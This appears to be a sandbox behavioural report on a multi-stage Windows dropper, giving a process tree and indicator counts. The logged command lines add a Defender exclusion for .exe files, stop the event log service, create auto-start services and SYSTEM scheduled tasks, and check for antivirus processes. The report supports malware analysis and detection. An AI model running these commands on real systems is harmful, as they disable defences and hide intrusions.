3540	Valve.pif
3540	Valve.pif
3540	Valve.pif
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
1648	firefox.exe
1648	firefox.exe
1648	firefox.exe
1648	firefox.exe
1648	firefox.exe
1648	firefox.exe
1648	firefox.exe
1648	firefox.exe
1648	firefox.exe
1648	firefox.exe
1648	firefox.exe
1648	firefox.exe
1648	firefox.exe
1648	firefox.exe
1648	firefox.exe
1648	firefox.exe
1648	firefox.exe
1648	firefox.exe
1648	firefox.exe
1648	firefox.exe
1648	firefox.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe

Suspicious use of SendNotifyMessage 53 IoCs

pid	Process
3540	Valve.pif
3540	Valve.pif
3540	Valve.pif
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe
3556	a7199cafc6.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
1948	BsQdlvtIRvJWeS3WXcDlBoky.exe
2272	cmd.exe
2916	4b73a74daa.exe
1648	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3220 wrote to memory of 3628	3220	1720605557.036432_setup.exe	89
PID 3220 wrote to memory of 3628	3220	1720605557.036432_setup.exe	89
PID 3220 wrote to memory of 4776	3220	1720605557.036432_setup.exe	90
PID 3220 wrote to memory of 4776	3220	1720605557.036432_setup.exe	90
PID 3220 wrote to memory of 4776	3220	1720605557.036432_setup.exe	90
PID 3220 wrote to memory of 4860	3220	1720605557.036432_setup.exe	91
PID 3220 wrote to memory of 4860	3220	1720605557.036432_setup.exe	91
PID 3220 wrote to memory of 4860	3220	1720605557.036432_setup.exe	91
PID 3220 wrote to memory of 2452	3220	1720605557.036432_setup.exe	92
PID 3220 wrote to memory of 2452	3220	1720605557.036432_setup.exe	92
PID 3220 wrote to memory of 2452	3220	1720605557.036432_setup.exe	92
PID 3220 wrote to memory of 920	3220	1720605557.036432_setup.exe	100
PID 3220 wrote to memory of 920	3220	1720605557.036432_setup.exe	100
PID 3220 wrote to memory of 920	3220	1720605557.036432_setup.exe	100
PID 3220 wrote to memory of 1948	3220	1720605557.036432_setup.exe	101
PID 3220 wrote to memory of 1948	3220	1720605557.036432_setup.exe	101
PID 3220 wrote to memory of 1948	3220	1720605557.036432_setup.exe	101
PID 3220 wrote to memory of 3484	3220	1720605557.036432_setup.exe	98
PID 3220 wrote to memory of 3484	3220	1720605557.036432_setup.exe	98
PID 3220 wrote to memory of 3484	3220	1720605557.036432_setup.exe	98
PID 3220 wrote to memory of 1224	3220	1720605557.036432_setup.exe	99
PID 3220 wrote to memory of 1224	3220	1720605557.036432_setup.exe	99
PID 3220 wrote to memory of 1224	3220	1720605557.036432_setup.exe	99
PID 3220 wrote to memory of 3860	3220	1720605557.036432_setup.exe	97
PID 3220 wrote to memory of 3860	3220	1720605557.036432_setup.exe	97
PID 3220 wrote to memory of 3860	3220	1720605557.036432_setup.exe	97
PID 3220 wrote to memory of 476	3220	1720605557.036432_setup.exe	94
PID 3220 wrote to memory of 476	3220	1720605557.036432_setup.exe	94
PID 3220 wrote to memory of 476	3220	1720605557.036432_setup.exe	94
PID 3220 wrote to memory of 632	3220	1720605557.036432_setup.exe	96
PID 3220 wrote to memory of 632	3220	1720605557.036432_setup.exe	96
PID 3220 wrote to memory of 632	3220	1720605557.036432_setup.exe	96
PID 3220 wrote to memory of 2592	3220	1720605557.036432_setup.exe	93
PID 3220 wrote to memory of 2592	3220	1720605557.036432_setup.exe	93
PID 3220 wrote to memory of 2392	3220	1720605557.036432_setup.exe	95
PID 3220 wrote to memory of 2392	3220	1720605557.036432_setup.exe	95
PID 4860 wrote to memory of 2248	4860	Jfc1KXOMnrDi90ooQwcfMsIl.exe	102
PID 4860 wrote to memory of 2248	4860	Jfc1KXOMnrDi90ooQwcfMsIl.exe	102
PID 4860 wrote to memory of 2248	4860	Jfc1KXOMnrDi90ooQwcfMsIl.exe	102
PID 4776 wrote to memory of 1204	4776	sMgZ3T1ftAVEv4UxD9q_z1VK.exe	105
PID 4776 wrote to memory of 1204	4776	sMgZ3T1ftAVEv4UxD9q_z1VK.exe	105
PID 4776 wrote to memory of 1204	4776	sMgZ3T1ftAVEv4UxD9q_z1VK.exe	105
PID 632 wrote to memory of 4324	632	NyhN8IPv9yRvr3vsGDwZElJI.exe	104
PID 632 wrote to memory of 4324	632	NyhN8IPv9yRvr3vsGDwZElJI.exe	104
PID 632 wrote to memory of 4324	632	NyhN8IPv9yRvr3vsGDwZElJI.exe	104
PID 4776 wrote to memory of 1204	4776	sMgZ3T1ftAVEv4UxD9q_z1VK.exe	105
PID 4776 wrote to memory of 1204	4776	sMgZ3T1ftAVEv4UxD9q_z1VK.exe	105
PID 4776 wrote to memory of 1204	4776	sMgZ3T1ftAVEv4UxD9q_z1VK.exe	105
PID 4776 wrote to memory of 1204	4776	sMgZ3T1ftAVEv4UxD9q_z1VK.exe	105
PID 4776 wrote to memory of 1204	4776	sMgZ3T1ftAVEv4UxD9q_z1VK.exe	105
PID 1224 wrote to memory of 3540	1224	ZbE8U7fr8h45J1j3o6og39MY.exe	106
PID 1224 wrote to memory of 3540	1224	ZbE8U7fr8h45J1j3o6og39MY.exe	106
PID 1224 wrote to memory of 3540	1224	ZbE8U7fr8h45J1j3o6og39MY.exe	106
PID 1224 wrote to memory of 3540	1224	ZbE8U7fr8h45J1j3o6og39MY.exe	106
PID 1224 wrote to memory of 3540	1224	ZbE8U7fr8h45J1j3o6og39MY.exe	106
PID 1224 wrote to memory of 3540	1224	ZbE8U7fr8h45J1j3o6og39MY.exe	106
PID 1224 wrote to memory of 3540	1224	ZbE8U7fr8h45J1j3o6og39MY.exe	106
PID 1224 wrote to memory of 3540	1224	ZbE8U7fr8h45J1j3o6og39MY.exe	106
PID 476 wrote to memory of 4900	476	q0jFWtem7x2Y4ubSDKO_r8YI.exe	109
PID 476 wrote to memory of 4900	476	q0jFWtem7x2Y4ubSDKO_r8YI.exe	109
PID 476 wrote to memory of 4900	476	q0jFWtem7x2Y4ubSDKO_r8YI.exe	109
PID 3484 wrote to memory of 256	3484	atTudFsCBPPU2s6Cn1IawDTU.exe	110
PID 3484 wrote to memory of 256	3484	atTudFsCBPPU2s6Cn1IawDTU.exe	110
PID 3484 wrote to memory of 256	3484	atTudFsCBPPU2s6Cn1IawDTU.exe	110

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3200
- C:\Users\Admin\AppData\Local\Temp\1720605557.036432_setup.exe
  "C:\Users\Admin\AppData\Local\Temp\1720605557.036432_setup.exe"
  2⤵
  - Modifies firewall policy service
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3220
- - C:\Users\Admin\Documents\SimpleAdobe\nYjBiSVioIWDNTBbAEmUiBjF.exe
    C:\Users\Admin\Documents\SimpleAdobe\nYjBiSVioIWDNTBbAEmUiBjF.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:3628
  - - C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
      C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
      4⤵
      PID:1436
- - C:\Users\Admin\Documents\SimpleAdobe\sMgZ3T1ftAVEv4UxD9q_z1VK.exe
    C:\Users\Admin\Documents\SimpleAdobe\sMgZ3T1ftAVEv4UxD9q_z1VK.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:4776
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1204
- - C:\Users\Admin\Documents\SimpleAdobe\Jfc1KXOMnrDi90ooQwcfMsIl.exe
    C:\Users\Admin\Documents\SimpleAdobe\Jfc1KXOMnrDi90ooQwcfMsIl.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:4860
  - - C:\Users\Admin\AppData\Local\Temp\is-F01U1.tmp\Jfc1KXOMnrDi90ooQwcfMsIl.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-F01U1.tmp\Jfc1KXOMnrDi90ooQwcfMsIl.tmp" /SL5="$50106,4988381,54272,C:\Users\Admin\Documents\SimpleAdobe\Jfc1KXOMnrDi90ooQwcfMsIl.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of FindShellTrayWindow
      PID:2248
    - - C:\Users\Admin\AppData\Local\Audio Shell\audioshell.exe
        
        "C:\Users\Admin\AppData\Local\Audio Shell\audioshell.exe" -i
        5⤵
        Executes dropped EXE
        
        PID:3856
    - - C:\Users\Admin\AppData\Local\Audio Shell\audioshell.exe
        
        "C:\Users\Admin\AppData\Local\Audio Shell\audioshell.exe" -s
        5⤵
        Executes dropped EXE
        
        PID:2160
- - C:\Users\Admin\Documents\SimpleAdobe\BJpSgqSFEMDXp8qiuAMMbfbu.exe
    C:\Users\Admin\Documents\SimpleAdobe\BJpSgqSFEMDXp8qiuAMMbfbu.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of AdjustPrivilegeToken
    PID:2452
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      Loads dropped DLL
      Checks processor information in registry
      PID:4836
    - - C:\ProgramData\IJKFHIIEHI.exe
        
        "C:\ProgramData\IJKFHIIEHI.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:2460
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:5956
    - - C:\ProgramData\DAFCAAEGDB.exe
        
        "C:\ProgramData\DAFCAAEGDB.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:5952
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:312
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\CFIECBFIDGDA" & exit
        5⤵
        
        PID:5308
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:5996
      - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 10
        6⤵
        Delays execution with timeout.exe
        
        PID:4252
- - C:\Users\Admin\Documents\SimpleAdobe\efvbkRpYcYy7qA2xtzulQ1PU.exe
    C:\Users\Admin\Documents\SimpleAdobe\efvbkRpYcYy7qA2xtzulQ1PU.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:2592
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      4⤵
      Power Settings
      PID:4712
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4672
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      4⤵
      Power Settings
      PID:536
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      4⤵
      Power Settings
      PID:2516
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      4⤵
      Power Settings
      PID:1776
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe delete "CIFUBVHI"
      4⤵
      Launches sc.exe
      PID:2020
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe create "CIFUBVHI" binpath= "C:\ProgramData\lmguvcpihozg\eqtpkqwqodik.exe" start= "auto"
      4⤵
      Launches sc.exe
      PID:2216
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop eventlog
      4⤵
      Launches sc.exe
      PID:1944
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe start "CIFUBVHI"
      4⤵
      Launches sc.exe
      PID:4024
- - C:\Users\Admin\Documents\SimpleAdobe\q0jFWtem7x2Y4ubSDKO_r8YI.exe
    C:\Users\Admin\Documents\SimpleAdobe\q0jFWtem7x2Y4ubSDKO_r8YI.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:476
  - - C:\Users\Admin\AppData\Local\Temp\7zS4476.tmp\Install.exe
      .\Install.exe
      4⤵
      Executes dropped EXE
      PID:4900
    - - C:\Users\Admin\AppData\Local\Temp\7zS58D9.tmp\Install.exe
        
        .\Install.exe /NOJddidPYX "525403" /S
        5⤵
        Checks BIOS information in registry
        Executes dropped EXE
        Enumerates system info in registry
        
        PID:1028
      - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        6⤵
        
        PID:3136
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        7⤵
        
        PID:1224
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3836
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        9⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3560
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bMfeDuSmKBAGoOfQBS" /SC once /ST 10:02:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS58D9.tmp\Install.exe\" NI /ayOdidcdMw 525403 /S" /V1 /F
        6⤵
        Drops file in Windows directory
        Scheduled Task/Job: Scheduled Task
        
        PID:4672
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1028 -s 1096
        6⤵
        Program crash
        
        PID:5504
- - C:\Users\Admin\Documents\SimpleAdobe\9flujC1swHcJXl2m3Z216fx6.exe
    C:\Users\Admin\Documents\SimpleAdobe\9flujC1swHcJXl2m3Z216fx6.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:2392
  - - C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
      C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
      4⤵
      PID:1960
- - C:\Users\Admin\Documents\SimpleAdobe\NyhN8IPv9yRvr3vsGDwZElJI.exe
    C:\Users\Admin\Documents\SimpleAdobe\NyhN8IPv9yRvr3vsGDwZElJI.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:632
  - - C:\Users\Admin\AppData\Local\Temp\7zS41F6.tmp\Install.exe
      .\Install.exe
      4⤵
      Executes dropped EXE
      PID:4324
    - - C:\Users\Admin\AppData\Local\Temp\7zS534B.tmp\Install.exe
        
        .\Install.exe /ididWaEmg "385132" /S
        5⤵
        Checks BIOS information in registry
        Executes dropped EXE
        Enumerates system info in registry
        
        PID:3432
      - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        6⤵
        
        PID:536
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        7⤵
        
        PID:3116
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1744
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        9⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2320
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "blQxnfAaNNFZMWpemd" /SC once /ST 10:02:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS534B.tmp\Install.exe\" XC /CnddidTYg 385132 /S" /V1 /F
        6⤵
        Drops file in Windows directory
        Scheduled Task/Job: Scheduled Task
        
        PID:4540
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3432 -s 880
        6⤵
        Program crash
        
        PID:5892
- - C:\Users\Admin\Documents\SimpleAdobe\ZX2ACPFUGGv2YNDskqgiYFV7.exe
    C:\Users\Admin\Documents\SimpleAdobe\ZX2ACPFUGGv2YNDskqgiYFV7.exe
    3⤵
    - Executes dropped EXE
    - Checks SCSI registry key(s)
    PID:3860
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3860 -s 488
      4⤵
      Program crash
      PID:2072
- - C:\Users\Admin\Documents\SimpleAdobe\atTudFsCBPPU2s6Cn1IawDTU.exe
    C:\Users\Admin\Documents\SimpleAdobe\atTudFsCBPPU2s6Cn1IawDTU.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3484
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /k move Properties Properties.cmd & Properties.cmd & exit
      4⤵
      PID:256
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:4604
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "wrsa.exe opssvc.exe"
        5⤵
        
        PID:2320
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:4924
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "avastui.exe avgui.exe bdservicehost.exe nswscsvc.exe sophoshealth.exe"
        5⤵
        
        PID:2432
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 197815
        5⤵
        
        PID:4332
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V "CARLFAMILIESPATIENTSAGED" Gaps
        5⤵
        
        PID:2056
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b Renew 197815\D
        5⤵
        
        PID:2640
    - - C:\Users\Admin\AppData\Local\Temp\197815\Valve.pif
        
        197815\Valve.pif 197815\D
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:3540
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout 5
        5⤵
        Delays execution with timeout.exe
        
        PID:3140
- - C:\Users\Admin\Documents\SimpleAdobe\ZbE8U7fr8h45J1j3o6og39MY.exe
    C:\Users\Admin\Documents\SimpleAdobe\ZbE8U7fr8h45J1j3o6og39MY.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:1224
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3540
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1224 -s 292
      4⤵
      Program crash
      PID:3664
- - C:\Users\Admin\Documents\SimpleAdobe\iUMPVdKVceNF4QyONa5DvXjr.exe
    C:\Users\Admin\Documents\SimpleAdobe\iUMPVdKVceNF4QyONa5DvXjr.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of AdjustPrivilegeToken
    PID:920
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      Loads dropped DLL
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      PID:4636
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\JKECGHCFIJDA" & exit
        5⤵
        
        PID:3088
      - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 10
        6⤵
        Delays execution with timeout.exe
        
        PID:3732
- - C:\Users\Admin\Documents\SimpleAdobe\BsQdlvtIRvJWeS3WXcDlBoky.exe
    C:\Users\Admin\Documents\SimpleAdobe\BsQdlvtIRvJWeS3WXcDlBoky.exe
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1948
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Local\Temp\JJECGHJDBF.exe"
      4⤵
      PID:3004
    - - C:\Users\Admin\AppData\Local\Temp\JJECGHJDBF.exe
        
        "C:\Users\Admin\AppData\Local\Temp\JJECGHJDBF.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:2448
      - C:\Users\Admin\AppData\Local\Temp\ad40971b6b\explorti.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ad40971b6b\explorti.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        
        PID:3860
        
        C:\Users\Admin\AppData\Local\Temp\1000006001\4b73a74daa.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000006001\4b73a74daa.exe"
        7⤵
        Blocklisted process makes network request
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetWindowsHookEx
        
        PID:2916
        
        C:\Users\Admin\AppData\Local\Temp\1000010001\a7199cafc6.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000010001\a7199cafc6.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:3556
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
        8⤵
        
        PID:2156
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
        9⤵
        Checks processor information in registry
        Modifies registry class
        Suspicious use of FindShellTrayWindow
        Suspicious use of SetWindowsHookEx
        
        PID:1648
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1924 -parentBuildID 20240401114208 -prefsHandle 1836 -prefMapHandle 1828 -prefsLen 25749 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {c2eeeca9-9936-4e87-89f0-5de996501be7} 1648 "\\.\pipe\gecko-crash-server-pipe.1648" gpu
        10⤵
        
        PID:4344
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2396 -parentBuildID 20240401114208 -prefsHandle 2372 -prefMapHandle 2360 -prefsLen 26669 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c71271cf-c0a3-4bbd-a038-9551210dfd7d} 1648 "\\.\pipe\gecko-crash-server-pipe.1648" socket
        10⤵
        
        PID:3456
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2744 -childID 1 -isForBrowser -prefsHandle 3452 -prefMapHandle 3448 -prefsLen 22698 -prefMapSize 244658 -jsInitHandle 932 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c81d2fe2-3724-4401-b71d-c129aff397fe} 1648 "\\.\pipe\gecko-crash-server-pipe.1648" tab
        10⤵
        
        PID:4932
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3984 -childID 2 -isForBrowser -prefsHandle 3976 -prefMapHandle 3972 -prefsLen 31159 -prefMapSize 244658 -jsInitHandle 932 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {12a5669a-2f7d-4342-a544-649809f8be1c} 1648 "\\.\pipe\gecko-crash-server-pipe.1648" tab
        10⤵
        
        PID:5252
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3876 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4788 -prefMapHandle 4776 -prefsLen 31159 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {da98fa8a-d48c-47b7-aee4-08df53647cb2} 1648 "\\.\pipe\gecko-crash-server-pipe.1648" utility
        10⤵
        Checks processor information in registry
        
        PID:5416
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5500 -childID 3 -isForBrowser -prefsHandle 5480 -prefMapHandle 5496 -prefsLen 27178 -prefMapSize 244658 -jsInitHandle 932 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ac557e3a-3e96-43d6-ba31-7c011348684d} 1648 "\\.\pipe\gecko-crash-server-pipe.1648" tab
        10⤵
        
        PID:5560
        
